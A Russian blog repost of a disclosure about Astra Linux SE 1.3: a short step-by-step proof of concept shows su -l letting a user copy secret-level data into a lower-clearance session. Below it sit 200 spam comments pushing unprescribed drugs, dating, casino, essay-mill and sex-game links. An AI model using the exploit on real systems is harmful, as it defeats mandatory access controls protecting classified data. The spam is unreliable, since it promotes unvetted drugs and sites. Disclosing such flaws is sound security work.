Есть такой дистрибутив линукса Astra Linux Special Edition, который сертифицирован МО РФ, ФСТЕК. И который создается в лучших традициях линуксоидов, виндовых программистов решивших писать под линукс, как под виндовс, ну и специфических реалиях российской оборонки. Понятно что из этого всего что-то нормальное не могло получится. В итоге сделали кучу костылей, вместо того, чтобы доделать уже существующие и надежно работающие решения. В итоге был найден эксплойт для получения доступа к данным различного уровня доступа.

Под катом репост оригинала:

Описание уязвимости

Критическая уязвимость в Astra Linux позволяет пользователю изменять категории мандатного доступа, понижая степень секретности и класс для сведений. Одной из причин описанной проблемы является закрытость проекта и построение велосипедов вместо использования значительно более проверенных и протестированных решений, таких, как SELinux. Для мандатного контроля доступа в Astra Linux используются следующие компоненты: модуль ядра parsecfs, реализующий монтирование файловых систем, видимых пользователям с одинаковым уровнем доступа, аудит действий пользователя и мандатный контроль доступа, юзерспейсный сервис для настройки ядерной части и модули PAM для аутентификации и авторизации пользователей. Идеологически модель, используемая в Astra Linux напоминает модель модель Белла-Лападулы, реализованную в Multi-level security политике SELinux, но имеет одно отличие: пользователю разрешено выбирать при входе в систему, с каким классом и уровнем сведений он желает работать. При обычной работе пользователь даже не видит документы, имеющие другой класс, так как содержимое его домашнего каталога фактически “монтируется” заново при каждом входе в систему. При этом, пользователю по умолчанию разрешено выполнять команду su, причём эта команда, помимо ID пользователя, изменяет и его мандатную метку, а опция -l “перемонтирует” и его домашний каталог.

Эксплоит

1) Создаём юзера, указав ему минимальный уровень доступа 0, а максимальный 1:
level2:0:0:1:0
2) Логинимся от секретного пользователя.

Astra Linux SE 1.3 (smolensk)
tty1
astra login: level2
Secret level [1]: 1

3) Создаём файл с секретными данными

level2@astra~$ echo “secret message” >test.txt

4) Повышаем привиллегии, открываем файл на чтение в старой сессии и скармливаем в новую
level2@astra~$ su -l level2 -c “echo `cat test1.txt` > secret.txt”

5) Проверяем результат, заходим с другим уровнем доступа:
Astra Linux SE 1.3 (smolensk)
tty1
astra login: level2
Secret level [1]: 0

level2@astra~$ cat secret.txt
secret message

Аналогичным образом возможен перенос документов между категориями и различными пользователями. Резюмируя вышесказанное, критическая уязвимость в Astra Linux несёт серьёзную угрозу безопасности органов государственной власти.

200 комментариев на “Критическая уязвимость в Astra Linux”

  1. viagra medical information Сказал:

    viagra medical information

    viagra medical information

  2. uk free dating sites Сказал:

    free and dating

  3. free cheating dating site Сказал:

    free dating sites with facebook login

  4. black singles dating sites free Сказал:

    single moms dating site free

  5. free online uk dating Сказал:

    free online dating wealthy men

  6. free teens dating Сказал:

    best free dating sites in india without paying

  7. online dating free no charge Сказал:

    free dating denver

  8. free dating lesbian Сказал:

    dating sites with free browsing

  9. free dating website no credit card required Сказал:

    free online dating in thailand

  10. free kinky dating site Сказал:

    free teen dating websites

  11. cialis 50mg generic Сказал:

    cialis 50mg generic

    cialis 50mg generic

  12. sildenafil 100mg uk Сказал:

    sildenafil 100mg uk

    sildenafil 100mg uk

  13. cialis cost cvs Сказал:

    cialis cost cvs

    cialis cost cvs

  14. viagra insurance Сказал:

    viagra insurance

    viagra insurance

  15. cialis 100mg real Сказал:

    cialis 100mg real

    cialis 100mg real

  16. sildenafil tablet 200mg Сказал:

    sildenafil tablet 200mg

    sildenafil tablet 200mg

  17. tadalafil 10mg coupon Сказал:

    tadalafil 10mg coupon

    tadalafil 10mg coupon

  18. viagra savings card Сказал:

    viagra savings card

    viagra savings card

  19. walmart cialis Сказал:

    walmart cialis

    walmart cialis

  20. cost of viagra Сказал:

    cost of viagra

    cost of viagra

  21. gabapentin dogs Сказал:

    gabapentin dogs

    gabapentin dogs

  22. tadalafil generico Сказал:

    tadalafil generico

    tadalafil generico

  23. generic levitra canada Сказал:

    generic levitra canada

    generic levitra canada

  24. sildenafil walmart Сказал:

    sildenafil walmart

    sildenafil walmart

  25. norvasc Сказал:

    norvasc

    norvasc

  26. atorvastatin calcium Сказал:

    atorvastatin calcium

    atorvastatin calcium

  27. meloxicam for dogs Сказал:

    meloxicam for dogs

    meloxicam for dogs

  28. lopressor metoprolol tartrate Сказал:

    lopressor metoprolol tartrate

    lopressor metoprolol tartrate

  29. losartan hctz Сказал:

    losartan hctz

    losartan hctz

  30. walmart viagra price Сказал:

    walmart viagra price

    walmart viagra price

  31. cialis 50 mg Сказал:

    cialis 50 mg

    cialis 50 mg

  32. vardenafil Сказал:

    vardenafil

    vardenafil

  33. methylprednisolone vs prednisone Сказал:

    methylprednisolone vs prednisone

    methylprednisolone vs prednisone

  34. free bdsm dating uk Сказал:

    100 free united state dating site

  35. duloxetine hydrochloride Сказал:

    duloxetine hydrochloride

    duloxetine hydrochloride

  36. free dating sites charlotte nc Сказал:

    free sugar mummy dating site

  37. hydrochlorothiazide price Сказал:

    hydrochlorothiazide price

    hydrochlorothiazide price

  38. metformin 1000 mg price Сказал:

    metformin 1000 mg price

    metformin 1000 mg price

  39. 100% free dating site for young people Сказал:

    free women dating

  40. side effects for mirtazapine Сказал:

    side effects for mirtazapine

    side effects for mirtazapine

  41. 100 free no credit card required dating sites Сказал:

    free sexy dating

  42. bupropion hcl er Сказал:

    bupropion hcl er

    bupropion hcl er

  43. buspar for anxiety Сказал:

    buspar for anxiety

    buspar for anxiety

  44. celexa mg Сказал:

    celexa mg

    celexa mg

  45. tizanidine side effects Сказал:

    tizanidine side effects

    tizanidine side effects

  46. generic for wellbutrin Сказал:

    generic for wellbutrin

    generic for wellbutrin

  47. free new zealand dating sites Сказал:

    which are the best free dating sites

  48. voltaren 75mg Сказал:

    voltaren 75mg

    voltaren 75mg

  49. what is clonidine Сказал:

    what is clonidine

    what is clonidine

  50. finasteride 5mg side effects Сказал:

    finasteride 5mg side effects

    finasteride 5mg side effects

  51. side effects for coreg Сказал:

    side effects for coreg

    side effects for coreg

  52. metronidazole dosage for dogs Сказал:

    metronidazole dosage for dogs

    metronidazole dosage for dogs

  53. tadalafil 10mg price Сказал:

    tadalafil 10mg price

    tadalafil 10mg price

  54. canadian viagra Сказал:

    canadian viagra

    canadian viagra

  55. cialis recommended dosage Сказал:

    cialis recommended dosage

    cialis recommended dosage

  56. generic viagra reviews Сказал:

    generic viagra reviews

    generic viagra reviews

  57. vardenafil 10 mg Сказал:

    vardenafil 10 mg

    vardenafil 10 mg

  58. acyclovir cost Сказал:

    acyclovir cost

    acyclovir cost

  59. amoxicillin 875 mg pills Сказал:

    amoxicillin 875 mg pills

    amoxicillin 875 mg pills

  60. donepezil uses Сказал:

    donepezil uses

    donepezil uses

  61. amoxicillin and alcohol Сказал:

    amoxicillin and alcohol

    amoxicillin and alcohol

  62. azithromycin without prescription Сказал:

    azithromycin without prescription

    azithromycin without prescription

  63. genericsbb cefdinir antibiotic Сказал:

    genericsbb cefdinir antibiotic

    genericsbb cefdinir antibiotic

  64. keflex dosage Сказал:

    keflex dosage

    keflex dosage

  65. clindamycin gel price Сказал:

    clindamycin gel price

    clindamycin gel price

  66. side effects of erythromycin Сказал:

    side effects of erythromycin

    side effects of erythromycin

  67. zithromax Сказал:

    zithromax

    zithromax

  68. cialis on ebay Сказал:

    cialis on ebay

    cialis on ebay

  69. buy generic cialis Сказал:

    buy generic cialis

    buy generic cialis

  70. viagra best buy Сказал:

    viagra best buy

    viagra best buy

  71. cipla tadalafil Сказал:

    cipla tadalafil

    cipla tadalafil

  72. cialis tablets Сказал:

    cialis tablets

    cialis tablets

  73. keto diet list of foods Сказал:

    does keto diet raise cholesterol

  74. keto bakery Сказал:

    maltodextrin keto

  75. how to start keto Сказал:

    keto diet and inflammation

  76. cialis goodrx Сказал:

    cialis goodrx

    cialis goodrx

  77. viagra pills for men Сказал:

    viagra pills for men

    viagra pills for men

  78. price cialis 20 mg Сказал:

    price cialis 20 mg

    price cialis 20 mg

  79. where to order viagra Сказал:

    where to order viagra

    where to order viagra

  80. viagra on steroids Сказал:

    viagra on steroids

    viagra on steroids

  81. sildenafil 20mg daily Сказал:

    sildenafil 20mg daily

    sildenafil 20mg daily

  82. hydroxychloroquine new york results Сказал:

    hydroxychloroquine nyc trial results

    dominate lipoatrophy whatever

  83. sildenafil citrate 50mg Сказал:

    sildenafil citrate 50mg

    sildenafil citrate 50mg

  84. 360 viagra Сказал:

    360 viagra

    360 viagra

  85. viagra like pills Сказал:

    viagra like pills

    viagra like pills

  86. viagra alternative gnc Сказал:

    viagra alternative gnc

    viagra alternative gnc

  87. norvasc 5 mg Сказал:

    norvasc 5 mg

    norvasc 5 mg

  88. viagra vs cialis Сказал:

    viagra vs cialis

    viagra vs cialis

  89. levitra cvs Сказал:

    levitra cvs

    levitra cvs

  90. side effects of metformin Сказал:

    side effects of metformin

    side effects of metformin

  91. cialis daily Сказал:

    cialis daily

    cialis daily

  92. amoxicillin for sale Сказал:

    amoxicillin for sale

    amoxicillin for sale

  93. doxycycline hyclate side effects Сказал:

    doxycycline hyclate side effects

    doxycycline hyclate side effects

  94. lasix 20 mg price Сказал:

    lasix 20 mg price

    lasix 20 mg price

  95. xenical uk Сказал:

    xenical uk

    xenical uk

  96. priligy uk price Сказал:

    priligy uk price

    priligy uk price

  97. finasteride side effects permanent Сказал:

    finasteride side effects permanent

    finasteride side effects permanent

  98. careprost eyelash growth Сказал:

    careprost eyelash growth

    careprost eyelash growth

  99. clomiphene citrate dosing Сказал:

    clomiphene citrate dosing

    clomiphene citrate dosing

  100. diflucan for thrush and Сказал:

    diflucan for thrush and

    diflucan for thrush and

  101. usage of motilium Сказал:

    usage of motilium

    usage of motilium

  102. tamoxifen citrate usp Сказал:

    tamoxifen citrate usp

    tamoxifen citrate usp

  103. prednisone vs prednisolone dosage Сказал:

    prednisone vs prednisolone dosage

    prednisone vs prednisolone dosage

  104. naltrexone hcl 4 mg Сказал:

    naltrexone hcl 4 mg

    naltrexone hcl 4 mg

  105. valtrex dosing schedule Сказал:

    valtrex dosing schedule

    valtrex dosing schedule

  106. tizanidine muscle Сказал:

    tizanidine muscle

    tizanidine muscle

  107. buy cialis Сказал:

    buy cialis

    buy cialis

  108. cialis non prescription Сказал:

    cialis non prescription

    cialis non prescription

  109. antibiotic ciprofloxacin Сказал:

    antibiotic ciprofloxacin

    antibiotic ciprofloxacin

  110. tadalafil 5 mg Сказал:

    tadalafil 5 mg

    tadalafil 5 mg

  111. cialis overnight pharmacy Сказал:

    cialis overnight pharmacy

    cialis overnight pharmacy

  112. cialis daily australia Сказал:

    cialis daily australia

    cialis daily australia

  113. sildenafil citrate stronghealthstore Сказал:

    sildenafil citrate stronghealthstore

    sildenafil citrate stronghealthstore

  114. best viagra Сказал:

    best viagra

    best viagra

  115. indian viagra Сказал:

    indian viagra

    indian viagra

  116. film Сказал:

    This is my first time go to see at here and i am really impressed / to read all at alone place.

    Reply

  117. gay furry dating ga,es Сказал:

    gay over 50 dating site https://gaychatgay.com/

  118. gay dating search Сказал:

    gay afrikaans dating https://freegaychatnew.com/

  119. free gay sex dating Сказал:

    gay dating websites toronto https://gaychatus.com/

  120. gay dating magazines Сказал:

    gay bear portland dating https://gaychatrooms.org/

  121. tall gay men dating Сказал:

    gay white dating https://gaydatingzz.com/

  122. delles douvia acyclovir Сказал:

    delles douvia acyclovir

    Werwolf blog's » Blog Archive » Критическая уязвимость в Astra Linux

  123. دانلود فیلم عاشقانه Сказал:

    I have read so many articles regarding the blogger lovers except this article is really a fastidious article, keep it up. https://www.filmroz.ir/

    Reply

  124. chloroquine for sale online Сказал:

    chloroquine canada online

    worth osteocytes against

  125. gay dating first time tips Сказал:

    rural gay interracial dating https://dating-gaym.com/

  126. women they are dating gay men Сказал:

    uncensored gay dating https://gayonlinedating.net/

  127. gay dating 19 Сказал:

    best gay men dating site https://datinggayservices.com/

  128. the gay sex dating game Сказал:

    south africa gay online dating https://gaydatingcanada.com/

  129. viagra buy online Сказал:

    viagra buy online

    WALCOME

  130. generic viagra Сказал:

    generic viagra

    WALCOME

  131. buy generic viagra online Сказал:

    buy generic viagra online

    WALCOME

  132. viagra professional Сказал:

    viagra professional

    WALCOME

  133. cheapest viagra Сказал:

    cheapest viagra

    WALCOME

  134. cialis erectile dysfunction Сказал:

    cialis erectile dysfunction

    WALCOME

  135. brand cialis Сказал:

    brand cialis

    WALCOME

  136. cialis mg Сказал:

    cialis mg

    WALCOME

  137. is ivermectin used to treat scabies Сказал:

    cheap stromectol dosage

    lawsuit rheumatic disease vast

  138. lilly cialis 5mg Сказал:

    lilly cialis 5mg

    WALCOME

  139. womens viagra Сказал:

    womens viagra

    WALCOME

  140. viagra connect Сказал:

    viagra connect

    WALCOME

  141. low cost cialis Сказал:

    low cost cialis

    WALCOME

  142. discount viagra Сказал:

    discount viagra

    WALCOME

  143. best viagra tablet price in india Сказал:

    best viagra tablet price in india

    WALCOME

  144. buy generic viagra without a preion Сказал:

    buy generic viagra without a preion

    WALCOME

  145. cheap cialis online Сказал:

    cheap cialis online

    WALCOME

  146. help writing an essay Сказал:

    writing numbers in essays https://essaywritercentral.com/

  147. persuasive writing essays Сказал:

    best online essay writing service https://essayghostwriter.com/

  148. viagracarme Сказал:

    viagracarme

    WALCOME

  149. buy cialis viagra Сказал:

    buy cialis viagra

    WALCOME

  150. generic for viagra Сказал:

    generic for viagra

    WALCOME

  151. viagra 25mg online india Сказал:

    viagra 25mg online india

    WALCOME

  152. price of real viagra Сказал:

    price of real viagra

    WALCOME

  153. sildenafil cost in india Сказал:

    sildenafil cost in india

    WALCOME

  154. cialis samples Сказал:

    cialis samples

    WALCOME

  155. where to get women viagra Сказал:

    where to get women viagra

    WALCOME

  156. pfizer viagra 100mg aliexpress Сказал:

    pfizer viagra 100mg aliexpress

    WALCOME

  157. what to write college essay about Сказал:

    what to write about in a college essay https://essaypoints.com/

  158. viagra tablet price in qatar Сказал:

    viagra tablet price in qatar

    WALCOME

  159. write good essay Сказал:

    write college essays< https://essaytag.com/

  160. writing a cause and effect essay Сказал:

    writing essays for money https://essaysnet.com/

  161. viagra 100mg canada pharmacy Сказал:

    viagra 100mg canada pharmacy

    WALCOME

  162. write persuasive essay Сказал:

    paid to write essays https://online2casino.com/

  163. tadalafil posologie Сказал:

    tadalafil posologie

    WALCOME

  164. writing cause and effect essay Сказал:

    on writing the college application essay https://onlinecasinos4me.com/

  165. best research tadalafil Сказал:

    best research tadalafil

    WALCOME

  166. viagra best buy free shipping coupon Сказал:

    viagra best buy free shipping coupon

    WALCOME

  167. herbal viagra substitute Сказал:

    herbal viagra substitute

    WALCOME

  168. sildenafil coupon Сказал:

    sildenafil coupon

    WALCOME

  169. cheap generic viagra Сказал:

    cheap generic viagra

    WALCOME

  170. real money casino games Сказал:

    blackjack online real money https://casinosonlinex.com/

  171. best online casino for us players Сказал:

    real money casinos https://casinoonlinek.com/

  172. blackjack online real money Сказал:

    mobile slots https://casinoonlinet.com/

  173. writing personal essays Сказал:

    write essay online https://student-essay.com/

  174. writing analysis essay Сказал:

    professional essay writing services https://buy1essay.com/

  175. essay writing website Сказал:

    writing an introduction to an essay https://essaytodo.com/

  176. write a descriptive essay Сказал:

    writing college essay https://multiessay.com/

  177. order viagra online Сказал:

    order viagra online

    WALCOME

  178. can you give ivermectin orally Сказал:

    can you give ivermectin orally

    blog topic

  179. viagra pills Сказал:

    viagra pills

    WALCOME

  180. viagra non prescription Сказал:

    viagra non prescription

    WALCOME

  181. viagra without a doctors approval Сказал:

    viagra without a doctors approval

    WALCOME

  182. viagra jokes Сказал:

    viagra jokes

    WALCOME

  183. viagra cock Сказал:

    viagra cock

    WALCOME

  184. viagra dosage Сказал:

    viagra dosage

    WALCOME

  185. ivermectin dose for adults Сказал:

    ivermectin dose for adults

    500 Internal Server Error

  186. viagra generico Сказал:

    viagra generico

    WALCOME

  187. over the counter viagra Сказал:

    over the counter viagra

    WALCOME

  188. instant natural viagra Сказал:

    instant natural viagra

    WALCOME

  189. viagras Сказал:

    viagras

    WALCOME

  190. tadalafil 5mg generic Сказал:

    tadalafil 5mg generic

    tadalafil 5mg generic

  191. dowlode sex games free Сказал:

    swimming pool sex games https://cybersexgames.net/

  192. viagra cvs Сказал:

    viagra cvs

    WALCOME

  193. Visit Here Сказал:

    Heya i’m for the first time here.

    Reply

  194. canadian pharmacy tadalafil Сказал:

    canadian pharmacy tadalafil

    canadian pharmacy tadalafil

  195. compra viagra Сказал:

    compra viagra

    WALCOME

  196. real sex games Сказал:

    creampie sex games https://sexygamess.com/

  197. guys and girls playing sex games Сказал:

    sex nudity pc games https://winsexgames.com/

  198. goodrx sildenafil Сказал:

    goodrx sildenafil

    goodrx sildenafil

  199. snorting viagra Сказал:

    snorting viagra

    WALCOME

  200. women viagra Сказал:

    women viagra

    WALCOME

Оставить комментарий